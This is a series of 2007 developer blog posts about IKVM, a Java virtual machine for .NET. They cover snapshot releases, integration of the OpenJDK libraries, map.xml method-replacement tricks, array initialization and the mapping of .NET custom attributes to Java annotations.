Binaries available here: ikvmbin-hybrid-0.35.2728.zip.

6/21/2007 7:23:42 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Tuesday, June 19, 2007

Five Years

Wow. Today it's five years ago that I started blogging about IKVM. I'd write more, but I'm having too much fun working on integrating the OpenJDK libraries :-)

6/19/2007 6:32:18 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Thursday, June 14, 2007

First OpenJDK Bug

Yesterday I encountered the first OpenJDK "bug". Sun uses IBM's ICU library for Unicode and Globalization support and it does a couple of DataInputStream.read(byte[]) calls without checking the return value. On IKVM the InputStream that ClassLoader.getSystemResourceAsStream() returns is an ikvm.io.InputStreamWrapper and that always returns 0 from available() when it is wrapping a non-seekable stream and the LZInputStream that decompresses compressed resources is a non-seekable stream. The reason this is significant is that ICU wraps a BufferedInputStream around the InputStreamWrapper and BufferedInputStream uses available() to figure out if it should read more data from the underlying stream if there's still room in the byte array passed in to read(byte[]) after the data from the buffer has been copied. So as long as the underlying stream has an implementation of available() that never returns 0, ICU works fine. I filed a bug report.

Issues like this demonstrate why cloning a large platform is so incredibly difficult. Real world code is bound to have dependencies on implementation details like this. So simply reimplementing a spec isn't sufficient.

For the time being I've added a workaround to map.xml (using the new <replace-method-call /> support) to modify the ICU method to call readFully(byte[]) instead of read(byte[]), but I'm considering rewriting the resource decompression to have available() return the number of bytes still available to read from the stream. There may be other code out there that depends on it.

6/14/2007 12:26:19 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, June 13, 2007

New Hybrid Snapshot

A new snapshot. I integrated all classes in the java.lang package (but not the sub-packages) and this means I have now resolved most VM/Library initialization issues that I was a bit worried about before embarking on this. I had to include one new hackish (or AOP if you will) feature in map.xml: The ability to replace method invocations with arbitrary CIL code sequences. This was in particular necessary to "comment out" the loadLibrary("zip") call in System.initializeSystemClass(). Here's what that looks like in map.xml:

<class name="java.lang.System">
  <method name="initializeSystemClass" sig="()V">
    <replace-method-call class="java.lang.System" name="loadLibrary" sig="(Ljava.lang.String;)V">
      <code>
        <pop />
      </code>
    </replace-method-call>
  </method>
</class>

This simply means that all System.loadLibrary() invocations in System.initializeClass() will be replaced with a pop instruction (to discard the string argument).

Changes:

  • OpenJDK: Integrated java.lang package..
  • OpenJDK: Integrated java.util.regex package.
  • OpenJDK: Integrated java.text.Normalizer and support classes.
  • OpenJDK: New StringHelper.java based on OpenJDK's String.java.
  • OpenJDK: Implemented using the entry assembly's class loader as system class loader.
  • OpenJDK: Replaced zip library loading hack with "replace-method-call" hack.
  • OpenJDK: Implemented the hooks to set the system class loader to the entry assembly's class loader if java.class.path and java.ext.dirs properties aren't set.
  • OpenJDK: Various fixes.
  • Added leave CIL opcode support to remapper.
  • Added support for replacing constructor and static initializer method bodies in map.xml.
  • Added support for locally (i.e. per method) replacing method calls in map.xml.
  • Added optimization to ikvmc for large string literals that are only used to call .toCharArray() on.

Binaries available here: ikvmbin-hybrid-0.35.2720.zip.

6/13/2007 8:35:28 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, June 12, 2007

Array Initialization

One of the many limitations of the Java class file format is that it doesn't support an efficient way of initializing an array. Take the following class for example:

class Foo
{
  private static final int[] values = { 1, 2, 3, 4 };
}

This looks harmless enough, but it is compiled almost exactly the same as this:

class Foo
{
  private static final int[] values;

  static
  {
    int[] temp = new int[4];
    temp[0] = 1;
    temp[1] = 2;
    temp[2] = 3;
    temp[3] = 4;
    values = temp;
  }
}

If you have an array with a few thousand entries, this is starting to look pretty inefficient. Here's how C# compiles the equivalent code (but with an array with more elements, for small arrays the C# compiler does the same as the javac):

using System.Runtime.CompilerServices;

class
Foo
{
  private static readonly int[] values;

  static Foo()
  {
    int[] temp = new int[128];
    RuntimeHelpers.InitializeArray(temp, LDTOKEN($$field-0))
    values = temp;
  }
}

This is pseudo C#, because there's no C# language construct that allows you to directly load a field's RuntimeFieldHandle as the ldtoken CIL instruction does. What happens here is that the C# compiler emits a global read-only data field and then uses RuntimeHelpers.InitializeArray() to copy this field into the array. If you're on a little endian machine, this is simply a memcpy (after checking that the sizes match).

On occasion I've toyed with the idea of making ikvmc recognize array initialization sequences and then converting them into this more efficient form. The reason that I never got around to it is that many people know that array initialization is inefficient and use a workaround: String literals.

Here's a fragment from OpenJDK's java.lang.CharacterData00 class:

static final char X[] = (
  "\000\020\040\060\100\120\140\160...
  ...
  ...
  ...\u1110\u1120\u1130").toCharArray();

I've omitted most of the data, but the string has 2048 characters (and it's not the only one in this class). String literals can be efficiently stored in the class file format, so this is more efficient than explicitly initializing the array elements.

However, on IKVM there's a downside to this approach. Java requires that all string literals are interned and on .NET the string intern table keeps strong references to the interned strings (the Sun JVM uses weak references to keep track of interned strings). So that means that the 2048 character string above that is only used once will stay in memory for the entire lifetime of the application.

Fortunately, this particular scenario is easily detected in the bytecode compiler and can be optimized to use RuntimeHelper.InitializerArray().

Unfortunately, it turns out that the Reflection.Emit API that takes care of creating these read-only global data fields is a little too helpful and hence broken. What I didn't mention earlier is that these read-only global data fields need to have a type and that type has to be an explicit layout value type of the right size. ModuleBuilder.DefineInitializedData() automatically defines this type, but instead of making it private it creates a public type.

The type created by ModuleBuilder.DefineInitializedData() is named $ArrayType$<n> where <n> is the size of the value in bytes. The size is encoded in the type name to make it easy to reuse the same type for other fields that have the same size. It turns out we can abuse this knowledge to work around the limitations of ModuleBuilder.DefineInitializedData() by pre-creating the value type with the right name. Now we can have full control over the properties of the generated type (as long as it's compatible with the requirements of the read-only global field, of course).

Final note: While writing this blog entry I found that Mono's implementation of RuntimeHelpers.InitializeArray() leaves something to be desired.

6/12/2007 8:45:48 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, June 04, 2007

OpenJDK Library/VM Integration

In Merging the First OpenJDK Code and Another x64 CLR Bug I briefly mentioned the three different approaches that are available for integrating the OpenJDK classes with IKVM:

  1. Use existing native interface
  2. Use map.xml tricks
  3. Change the code (i.e. fork a specific source file)

This triggered a couple of questions in the comments.

Morten asked:

about your work of [i]ntegrating the whole of OpenJDK and [y]our 3 options. Could you provide more details? From what you write, it sounds like using aspectj to inject annotations could be useful. Codegeneration might also be useful?

Yes, that's essentially what option 2 is. The map.xml infrastructure allows me to add methods and fields to existing classes, or allows me to replace method bodies.

Albert Strasheim asked:

It's too bad that the Sun and Classpath code aren't compatible down to the native methods called by the pure Java code.

As Andrew pointed out, it would not have been possible or practical to reverse engineer the Sun native interface. Besides that, the Sun and GNU Classpath libraries have very different goals, so it actually makes a lot of sense for the interfaces to differ.

I figured that you'd go the "native methods in C#" route, so I'd be interested to know why you think that the "IKVM specific modifications" route is cleaner and more efficient (efficient in terms of performance or time to implement?).

It would seem that implementing the native methods in C# would be the best solution, but that's not always the case. Hopefully that will become clear below.

Examples

Let's look at some examples and the downsides and cost associated with each of the three options:

1. Use existing native interface

In terms of long term development cost, this is easily the best option. Once you understand the ikvmc native method mapping that is used by the class library, it is very easy to find to corresponding native method. Sun is not very likely to change the native method semantics without also modifying the method name or signature. When a new native method is added, the build process will fail due to the fact that the new native method isn't implemented (and hence generates an unverifiable JNI method stub).

In terms of runtime performance, this method can be very efficient, but only if the method parameters contains all the required data to work on, or if the data can be easily obtained in another efficient way. This is often not the case, because many of the Sun native methods use JNI reflection to access private fields in the object. Here are two real world examples, one where the native methods works really well and another one where it's not as efficient as I'd like:

namespace IKVM.NativeCode.java.lang.reflect
{
  public sealed class Array
  {
    public static bool getBoolean(object arrayObj, int index)
    {
      if (arrayObj == null)
      {
        throw new jlNullPointerException();
      }
      bool[] arr = arrayObj as bool[];
      if (arr != null)
      {
        if (index < 0 || index >= arr.Length)
        {
          throw new jlArrayIndexOutOfBoundsException();
        }
        return arr[index];
      }
      throw new jlIllegalArgumentException("argument type mismatch");
    }
  }
}

Clearly this is very efficient (and it makes you wonder why it's a native method at all). Here's one that's less efficient:

namespace IKVM.NativeCode.java.lang
{
  public sealed class Class
  {
    public static bool isInterface(object thisClass)
    {
      return TypeWrapper.FromClass(thisClass).IsInterface;
    }
  }
}

The thisClass parameter is a reference to the java.lang.Class object, but the VM wants to use its internal representation of a class (TypeWrapper), so here I need to use TypeWrapper.FromClass() to get the corresponding TypeWrapper object. Currently that's implemented by using reflection to access a private field in java.lang.Class (that was added through map.xml).

To contrast, here's the equivalent method for use with the GNU Classpath library:

namespace IKVM.NativeCode.java.lang
{
  public sealed class VMClass
  {
    public static bool IsInterface(object wrapper)
    {
      return ((TypeWrapper)wrapper).IsInterface;
    }
  }
}

Here only a downcast is required, because Class.isInterface() calls VMClass.isInterface(), which reads the vmdata field from Class and passes that to the native IsInterface method.

2. Use map.xml tricks

This is very powerful, but also much more expensive because it is much less obvious what's going on. In the case of a native method that is implemented, if you can't find it in the C# code, you'll probably eventually find it in map.xml, but when replacing an existing method it's very easy to miss the fact that the method is replaced. I've used method replacement in java.lang.ClassLoader to make bootstrap resource loading work. ClassLoader has two private methods getBootstrapResource() and getBootstrapResources() that are used to load resources from the boot class path. These methods are implemented by parsing the sun.boot.class.path system property and then using internal classes to load from these jars or directories. Obviously that won't do for IKVM, because the boot classes and resources are contained in the core library .NET assembly (currently named IKVM.Hybrid.GNU.Classpath.OpenJDK.dll). So I've had to replace these two methods:

<class name="java.lang.ClassLoader">
  <field name="wrapper" sig="Ljava.lang.Object;" modifiers="private" />
  <method name="getBootstrapResource" sig="(Ljava.lang.String;)Ljava.net.URL;">
    <body>
      <ldarg_0 />
      <call class="java.lang.LangHelper"
            name="getBootstrapResource" sig="(Ljava.lang.String;)Ljava.net.URL;" />
      <ret />
    </body>
  </method>
  <method name="getBootstrapResources" sig="(Ljava.lang.String;)Ljava.util.Enumeration;">
    <body>
      <ldarg_0 />
      <call class="java.lang.LangHelper"
            name="getBootstrapResources" sig="(Ljava.lang.String;)Ljava.util.Enumeration;" />
      <ret />
    </body>
  </method>
</class>

These method bodies simply call the real implementations in LangHelper, because it's obviously easier to implement them in Java than in CIL.

3. Change the code (i.e. fork a specific source file)

In some cases, the changes required are so substantial that the map.xml trickery doesn't work or isn't practical. For an example of that we need to look at how reflection is implemented in OpenJDK.

Here's a fragment of java.lang.reflect.Method (not the actual code, but it gets the idea across):

package java.lang.reflect;

public final class Method
{
  private static final ReflectionFactory reflectionFactory = (ReflectionFactory)
    AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction());
  private MethodAccessor methodAccessor;

  public Object invoke(Object obj, Object... args)
  {
    // ... access checks omitted ...
    if (methodAccessor == null)
    {
      methodAccessor = reflectionFactory.newMethodAccessor(this);
    }
    return methodAccessor.invoke(obj, args);
  }
}

So the actual method invocation is delegated to an object that implements the MethodAccessor interface. By default Sun's ReflectionFactory returns an object that counts the number of invocations and delegates to another MethodAccessor object that uses JNI to use the VM reflection infrastructure, if the invocation counter crosses a certain value the inner object is replaced by an instance of a dynamically generated class that contains custom generated byte codes to efficiently call the target method (and this generated bytecode is not verifiable, so it won't work as-is on IKVM). In this case I've decided to fork ReflectionFactory and implement my own version that simply returns MethodAccessor instances that reuse the IKVM reflection infrastructure.

The cost of forking a source file should be obvious. When improvements are made to the original, you don't automatically inherit these. In this particular case ReflectionFactory is a fairly small and simple class (all of the complexity is in the classes it calls), so the risk seems low.

Structural Issues

Besides the issues already pointed out, there are also things of a more structural nature. A good example can again be found in java.lang.reflect.Method. Here's its constructor:

Method(Class declaringClass,
       String name,
       Class[] parameterTypes,
       Class returnType,
       Class[] checkedExceptions,
       int modifiers,
       int slot,
       String signature,
       byte[] annotations,
       byte[] parameterAnnotations,
       byte[] annotationDefault)
{
  // ...
}

The constructor expects the generics signature and annotations to be passed in. This poses a dillema. On IKVM looking up the custom attributes that contain this data is relatively expensive and in many cases a method object may be constructed while the code is not interested in generics information or annotations at all, so it might be more desireable to lazily get this data. Another problem is that the annotations are passed in as byte arrays that contain the annotation data as it exists in the class file. Code compiled with ikvmc obviously doesn't have a class file. Despite these two issues, I've chosen to not fork Method. At the moment I think that the performance cost of eagerly getting the generics signature and the annotations is an acceptable trade-off for not having to fork Method. Currently, the way annotations are handled is pretty horrible, because I've left the existing annotation mechanisms in place and reuse the stub class generator code to recreate the annotation byte arrays (and the corresponding constant pool entries) on the fly to pass them into the Method constructor. I've got some ideas to change annotation storage in ikvmc compiled code to use a mechanism that's more compatible with this approach and that may ultimately turn out to be more space efficient as well.

Compatibility

One aspect I haven't talked about yet is compatibility. For example, there's code out there that directly uses ReflectionFactory. This is evil, but it's also reality. So I try to weigh the compability impact as well when I'm trying to find the right approach.

6/4/2007 10:46:34 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, May 31, 2007

First Hybrid OpenJDK / GNU Classpath Snapshot

The first step on a long journey. I've integrated OpenJDK's java.lang.reflect.* a few classes from java.lang.* and a whole bunch of sun.* support classes. Take a look at allsources.lst to see which sources are used from where. I'll try to write a detailed blog entry discussing the various integration points (and answering the questions asked here) over the weekend.

Other changes:

  • Added some conditionally compiled code to work around .NET 2.0 obsoletion warnings.
  • Optimized lcmp, fcmpl, fcmpg, dcmpl and dcmpg bytecodes (by Dennis Ushakov).
  • Fixed ikvmc not to crash if map.xml doesn't contain any <class> entries.
  • Various refactorings to make OpenJDK integration easier.

Known regressions:

  • System class loader is not set correct for ikvmc compiled code.

This is based on OpenJDK drop b12, which appears not to be available for download anymore. The ikvm changes are in cvs. The snapshot binaries are available here: ikvmbin-hybrid-0.35.2707.zip.

As always, snapshots are not intended to be used in production, only for testing and getting a flavor of where development is going.

5/31/2007 4:08:38 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, May 30, 2007

IKVM 0.34 Update

I've made an updated 0.34 release that includes the most important fixes I've done in the last couple of weeks.

Changes:

  • Fixed exception mapping memory leak.
  • Fixed verifier/compiler to support dup_x2 form 2.
  • Fixed for ArrayIndexOutOfBoundsException in generic metadata reflection on dynamically compiled types.
  • Fixed infinite recursion bug when DotNetTypeWrapper.GetName() was used on DerivedType where DerivedType extends BaseType<DerivedType>.
  • Fixed ikvmc generic .NET type loading bug.
  • Fixed Throwable.printStackTrace() to call Throwable.printStackTrace(OutputStream) to support exception classes that only override printStackTrace(OutputStream).
  • Fixed Throwable.printStackTrace(…) to use PrintWriter/PrintStream.println() to trigger flushing on auto-flush writers/streams.
  • Fixed Throwable constructor to set cause correctly if an exception was instantiated but not thrown immediately.

Files are available here: ikvm-0.34.0.3.zip (source + binaries) and ikvmbin-0.34.0.3.zip (binaries).

5/30/2007 2:33:14 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, May 21, 2007

Case Studies

A while ago I gave a talk about IKVM at WL | Delft Hydraulics and I convinced them to describe how they use IKVM, for a case study on the IKVM website. My thanks to Fedor and David for taking the time to do this.

If you or your company uses IKVM and would like to write about it for publication on the IKVM website, I would appreciate it very much. Please contact me by e-mail at jeroen@frijters.net.

5/21/2007 5:41:19 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Friday, May 11, 2007

Merging the First OpenJDK Code and Another x64 CLR Bug

While working on integrating Sun's recently GPLed code to parse and toString floats and doubles (so that this long standing IKVM bug can finally be fixed) I ran into another x64 CLR bug, this time in the JIT. It was a little bit disturbing to see a Double.parseDouble() test fail with the Sun code that previously worked with my lame and hacked up parsing code, but fortunately the workaround was easy. The IKVM bytecode compiler now obfuscates any -0.0 literals it encounters to prevent the x64 JIT from "optimizing" them.

On a more general note, I haven't yet figured out how to go about integrating the whole of OpenJDK, but I have discovered it'll be quite a bit of work. For every class that uses native code to interface with the VM I'll have to decide whether to implement the existing native methods in C#, implement them in map.xml or rewrite the class to add IKVM specific code. Each option has different trade-offs, for example while it sucks to fork a class due to the added work of merging in changes, adding the required IKVM specific modifications inline is often the cleanest and most efficient way of implementing the required functionality.

I think I'm going to dip my toe into the water by changing my java.lang.reflect.* classes, which are currently modified versions of the GNU Classpath classes, into versions derived from the Sun code.

One final note. The OpenJDK is supposedly licensed under the GPL + "Classpath" exception, but the license text says that only files that explicitly opt-in to the "Classpath" exception are covered by the exception. That implies that I'll have to examine each source file to make sure it is covered, before including it with IKVM.

5/11/2007 4:17:15 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Wednesday, May 09, 2007

Custom Attribute Annotations

Custom attributes are a powerful capability of the .NET Framework and unlike Java annotations, there are quite a few custom attributes that are understood directly by the CLR runtime engine, for example things like P/Invoke, declarative Code Access Security and declaring thread or context local static variables can all be done by applying custom attributes. In addition to this there are also lots of reflection based applications of custom attributes because they've been part of the platform since day one.

Because of the importance of custom attributes, it makes sense to try to support them in ikvm. It has been possible for quite a while to apply custom attributes to Java classes, methods and fields by specifying them in the map.xml file and previously I used this when compiling IKVM.GNU.Classpath.dll in a few places (e.g. for declaring a thread local static variable), but given the similarity between custom attributes and Java annotations (which, like many other Java 5 features, were obviously "inspired" by .NET) it only makes sense to try to map custom attributes to annotations whenever possible.

I started working on this a while ago and recently checked in major improvements to this. The feature is now started to take shape nicely.

Limitations

Although conceptually very similar, there are significant differences between .NET custom attributes and Java annotations. The most important one is that custom attributes are classes while annotations are interfaces, as a direct result of that custom attributes use a constructor invocation syntax (plus the ability to set fields and properties), while annotations just name the type and list a number of key/value pairs (very similar to custom attribute properties). This means that in .NET, a custom attribute can specify which parameters are required and which are optional, by making the required parameters constructor arguments and the optional ones properties (or fields) and additionally, because of constructor overloading multiple combinations are possible. Annotation can specify for each individual property if it is required or optional, but there is no mechanism similar to constructor overloading.

This leads to the first limitation: Currently only custom attributes that have a default constructor or a single one-argument constructor (taking a supported type) are supported.

The second limitation is that not all parameter types are supported, only the Java primitive types (where Java's byte maps to System.Byte), type literals, strings and enumerations are supported (and single dimensional arrays of these types). Custom attribute parameters typed as Object are not supported.

Nested Annotation Type

When viewed from Java, every supported custom attribute class will appear to have a nested annotation type named Annotation. Here's an example of applying a simple custom attribute annotation to a field:

public class Foo
{
  @cli.System.ThreadStaticAttribute.Annotation
  private static int threadLocalCounter;
}

I toyed with the idea of naming the annotation by chopping of the Attribute part, to make it consistent with common C# usage, but I ultimately I decided the nested type approach was better. It's a bit more verbose, but it's consistent with how delegates are handled and it greatly reduces the chance of name clashes.

Single Argument Constructor

If a custom attribute has a single argument constructor, that will be translated into an annotation property named value. This allows the simplified syntax to be used:

@cli.System.CLSCompliantAttribute.Annotation(true)
public class Foo { ... }

If the custom attribute also has a default constructor, the value property will be optional.

Enums

Since .NET enums are value types and behave like integral types most of the time, they are not mapped to Java enums, but for use in annotations they have to be mapped to Java enums, so every .NET enum type has a nested type __Enum that is a Java enum. This allows enum values to be used in annotations:

import cli.System.*;

@AttributeUsageAttribute.Annotation({
  AttributeTargets.__Enum.Class,
  AttributeTargets.__Enum.Interface
})
public class MyCustomAttribute extends Attribute
{ ... }

The above example also shows that an enum that has a FlagsAttribute (as AttributeTargets does) will be translated into an array of that enum, to allow combining the flags. The exception to this is that if the parameter type is already an array, it will not be turned into a two dimensional array, because annotations only support one dimensional arrays.

ValidOn & AllowMultiple

Custom attribute annotations are annotated with the Target and Retention annotations. The target element types are based on the ValidOn property of the AttributeUsageAttribute of the custom attribute and Retention always has a RetentionPolicy.RUNTIME.

The ValidOn property of AttributeUsageAttribute is of type AttributeTargets. Here's a table that shows how the values map to the Java ElementType enum:

System.AttributeTargets java.lang.annotation.ElementType
Assembly, Class, Delegate, Enum, Interface, Struct     TYPE
Constructor CONSTRUCTOR
Method METHOD
Field FIELD
Parameter PARAMETER

Unlike custom attributes, annotations cannot be applied to a method's return value. The workaround for that is to nest them inside a special __ReturnValue annotation that is applied to the method:

public class Foo
{
  @cli.System.CLSCompliantAttribute.Annotation.__ReturnValue(
     @cli.System.CLSCompliantAttribute.Annotation(true)
  )
  public int foo() { ... }
}

Another custom attribute feature not supported by annotations is the ability to specify multiple instances of a custom attributes (controlled by the AllowMultiple property of AttributeUsageAttribute). This is handled in a similar way:

import cli.System.Security.Permissions.*;

@UIPermissionAttribute.Annotation.__Multiple({
  @UIPermissionAttribute.Annotation(value = SecurityAction.__Enum.Demand,
    Window = UIPermissionWindow.__Enum.SafeTopLevelWindows),
  @UIPermissionAttribute.Annotation(value = SecurityAction.__Enum.LinkDemand,
    Clipboard = UIPermissionClipboard.__Enum.AllClipboard)
})
public class Foo { ... }

Note that __Multiple is never nested inside a __ReturnValue, when a custom attribute has AllowMultiple and can be applied to return values, the __ReturnValue annotation simply has an array value property.

Type Literals

Type literals can be specified as class literals:

import cli.System.Runtime.CompilerServices.*;

@TypeForwardedToAttribute(Foo.class)
interface assembly {}

Note that the assembly type in the default package is treated specially by ikvm and acts as a placeholder for custom attributes that should be applied to the assembly.

Default Values

This table lists the default values for each supported type:

Type Default Value
boolean      false
byte (byte)0
char (char)0
short (short)0
int 0
float 0.0F
long 0L
double 0.0D
String ""
Class ikvm.internal.__unspecified.class
Enum __unspecified
array { }

The __unspecified hacks are necessary because annotation property values cannot be null. Every __Enum has an __unspecified field specifically for this purpose. Note that these defaults do not necessarily correspond to the real default values used by the custom attribute. These are simply the values that are reported by Method.getDefaultValue() and put into the stubs generated by ikvmstub. If you don't specify a value for an optional property, the resulting custom attribute won't have the property set and hence it will have the default value as defined by the implementation of the custom attribute.

Error Handling

Not yet implemented, but the idea is to ignore invalid annotations (most likely due to version conflicts between the stub jar that the Java code was compiled against and the assembly used at runtime). In the case of ikvmc, a warning message should be emitted as well.

5/9/2007 8:15:26 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

New Snapshot

I expect that I'll be busy the next couple of weeks working on integrating the OpenJDK libraries that were released yesterday, so I thought I'd release a new development snapshot to reflect the current state. There are quite a few bug fixes, most of them triggered by running test suites suggested by Albert Strasheim. Many thanks to him for running the test suites and passing the interesting ones on to me (including instructions on how to install/build/run them, which is usually the most time consuming and frustrating part.)

This snapshot also includes much improved support for applying .NET custom attributes as Java annotations. The next blog entry will describe the changes in detail.

Changes:

  • Integrated current GNU Classpath cvs version.
  • Fixed exception handling to continue working during AppDomain finalization for unload.
  • Implement major chunk of custom attribute as annotations support.
  • Added support for applying custom attributes to return values.
  • Added support for applying AllowMultiple custom attributes multiple times to the same element.
  • Restructured ParameterBuilder handling.
  • Added system property "ikvm.apartmentstate" to enable setting the COM ApartmentState for threads created in Java code.
  • Added hack to support Double.MIN_VALUE and Double.MAX_VALUE toString/parse roundtripping.
  • Fixed Throwable.printStackTrace() to call Throwable.printStackTrace(OutputStream) to support exception classes that only override printStackTrace(OutputStream).
  • Fixed Throwable.printStackTrace(…) to use PrintWriter/PrintStream.println() to trigger flushing on auto-flush writers/streams.
  • Fixed Throwable constructor to set cause correctly if an exception was instantiated but not thrown immediately.
  • Moved ikvmc warning handling to fix missing warnings bug (previously depending on compilation order, some warnings might not be shown).
  • Fixed verifier/compiler to support dup_x2 form 2. Found by Derby test suite.
  • Implemented JSR 133 rule that says that finalize cannot run before constructor is finished.
  • Fixed ArrayIndexOutOfBoundsException in generic metadata reflection on dynamically compiled types.
  • Fixed PlainDatagramSocketImpl to set initial SO_BROADCAST option to enabled.
  • Fixed PlainSocketImpl.getOption(SO_OOBLINE) to return Boolean instead of Integer.
  • Fixed DatagramChannelImpl to reflect connectedness on underlying DatagramSocket.
  • Fixed SocketChannelImpl.read(ByteBuffer) to handle -1 return values from implRead() for non byte array backed buffers.

Binaries available here: ikvmbin-0.35.2685.zip

5/9/2007 8:13:44 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Saturday, May 05, 2007

IKVM 0.34 Released

I released 0.34.0.2 to SourceForge (same bits as rc3).

5/5/2007 9:35:10 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, May 02, 2007

More Good Tests

Albert Strasheim mailed me the suggestion to run the Apache Commons Lang test suite (BTW, Albert was also the one who pointed me to the JRuby and MTJ test suites).

That also resulted in a number of bugs fixed/filed:

NestableErrorTestCase.testPrintStackTrace failure         Various IKVM java.lang.Throwable fixes
CharSetTest.testSerialization failure Mono reflection bug
NumberUtilsTest.testCompareDouble failure Added hack to IKVM's Double.toString() and Double.parseDouble() to support Double.MIN_VALUE and Double.MAX_VALUE
NumberUtilsTest.testIsNumber failure GNU Classpath BigDecimal bug
DateUtilsTest.testAddYears failure GNU Classpath GregorianCalendar bug

This list doesn't explain all failures, some are caused by the same issues as the ones mentioned and I think there are a few more GNU Classpath calendar/date/time etc. related bugs and a few tests are not quite "correct". For example, the ToStringBuilderTest.testReflectionHierarchyArrayList test assumes that the private member that contains the array of java.util.ArrayList is named elementData, but in GNU Classpath's implementation it is named data.

5/2/2007 8:32:19 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Groovy

Running Groovy on IKVM.

5/2/2007 6:47:19 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Sunday, April 29, 2007

IKVM 0.34 rc3

While working on NIO pipe support in the development branch, I found a few socket bugs and I decided to back port them to the 0.34 release. I've also back ported the NIO pipe support itself, since that's a low risk change.

Changes since rc2:

  • Implemented NIO pipe support.
  • Added support for socket connect with timeout.
  • Fixed Socket.bind() to set local port after binding.
  • Fixed SocketChannel.read() to return -1 if other side closed the socket.
  • Fixed ServerSocketChannel.accept() to properly set the state in the returned socket, to fix the socket from breaking if you called certain Socket methods on the SocketChannel.socket(). This was a regression introduced during the 0.33 development.

Files are available here: ikvm-0.34.0.2.zip (source + binaries) and ikvmbin-0.34.0.2.zip (binaries).

4/29/2007 11:01:44 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Wednesday, April 25, 2007

IKVM 0.34 rc2

A new release candidate that fixes a regression in String.lastIndexOf(String,int) that I introduced in rc1.

Files are available here: ikvm-0.34.0.1.zip (source + binaries) and ikvmbin-0.34.0.1.zip (binaries).

Also a clarification: As of this release there is no longer a separate “generics” build, because the 1.5 specific stuff has been merged into the GNU Classpath main release.

4/25/2007 5:52:45 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, April 23, 2007

IKVM 0.34 rc1

GNU Classpath 0.95 has been released! Here's the corresponding IKVM release candidate. I've updated the Japi status page.

Changes since previous snapshot:

  • Integrated GNU Classpath 0.95 release.
  • Fixed ByteBuffer.allocateDirect() to zero initialize the memory it allocated.
  • Fixed various String methods (indexOf, lastIndexOf, startsWith, endsWith, contains, replace) to use ordinal semantics instead of culture dependent word matching. Thanks to Louis Boydstun for tracking this bug down.
  • Fixed potential deadlock when a dying thread is interrupted.

Files are available here: ikvm-0.34.0.0.zip (source + binaries) and ikvmbin-0.34.0.0.zip (binaries).

As usual these are the strong named binaries and if no major issues are found these files will be released and placed on the SourceForge download page.

4/23/2007 5:14:08 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

JCK Certification

Dan Diephouse wrote in the comments to the previous entry:

Thats some serious comment spam thwarter - I had to look up the answer! Might I suggest Askimet? It rocks.

Yeah, sorry about that. That was mainly driven by ease of implementation. The fixed question was very easy to add in the aspx page without having to do any thinking on my part. The most amazing part is that a spammer actually managed to get through a couple of weeks ago.

Anyway, was wondering, do you think IKVM could ever become a certified java run time? (provided Sun made the JCK available under a reasonable license)

Funny you should ask, because I was thinking about blogging about this question yesterday (inspired by the Apache open letter and Mark Wielaard's and Dalibor Topic's responses).

The short answer is that it's not my goal for IKVM to be a certified Java runtime. I do not have access to the JCK, but it is my understanding that adding extra functionality is not allowed. Since IKVM runs on .NET it makes sense to expose .NET functionality (like for example delegates and P/Invoke). Remember that when Microsoft added delegates and J/Direct (which is the predecessor to P/Invoke) to its JVM they got sued by Sun for violating their license agreement.

There are also other issues that make a fully compliant version of IKVM only of theoretical interest. The floating point performance would be pretty bad, for example. Currently, the floating point support uses the native .NET floating point operations, but those are too relaxed for the JVM specification (mostly because they use too much precision). Another example: If you wanted static initializers to work according to the JVM spec (i.e. deadlock in certain scenarios), that would make them less efficient and would hinder interop with .NET code. One more: Because CharSequence is a ghost interface, when you do new CharSequence[] you really get an Object[], again it's possible to hide this from Java code, but it would make all object array access very slow.

Finally, there is one thing that I really don't know how to implement (in the current architecture). In Java it is possible for JNI code to allocate a string object and then later on call the constructor on it (or even to call the constructor twice), because .NET strings are variable size objects and require that the contents be specified at allocation time this is impossible to implement on IKVM.

4/23/2007 8:54:34 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Running Application Test Suites

Last week an anonymous person filed three bugs (1701353, 1701738 and 1701756). The first one was a URI bug that was already fixed in GNU Classpath, but the other two were more interesting because they included references to Eclipse projects that include JUnit test suites that reported some failures.

Now this is not always the case, but running the test suites for these two projects was a joy and resulted in several bugs filed/fixed:

Random MTJ test failures GNU Classpath java.util.Arrays.sort() bug
JRuby test_bignum failure GNU Classpath java.math.BigInteger.mod() bug
JRuby test_zlib failure GNU Classpath java.util.zip.GZIPInputStream constructor bug
Random JRuby test_thread_group hang        IKVM.NET thread termination deadlock bug


The reason that the MTJ tests failed in a random way was because the tests are non-deterministic. They generate random sized matrices, so the sort bug wouldn't always result in an incorrect sorting of the array indices.

Unfortunately I had to close 1701738 as Wont Fix. The JRuby test_array test intentionally causes a stack overflow and then JRuby expects to recover from that by catch StackOverflowError, but it's not possible for IKVM to reliably support catching a System.StackOverflowException and then mapping it to java.lang.StackOverflowError. The mapping exists, but if the exception is caught while there is not enough stack space for the mapping code to run, the CLR terminates the application.

The are two more JRuby tests that fail: test_io and test_pipe. These tests fail due to the fact that I haven't yet implemented NIO pipes. This is the first time ever that I've seen code "use" NIO pipes, but since it's only a test case I'm still not very motivated to implement them (but patches are welcome, as are applications that use NIO pipes).

If anyone has any other suggestions for test suites (that are easy to run like these), I'd love to hear them.

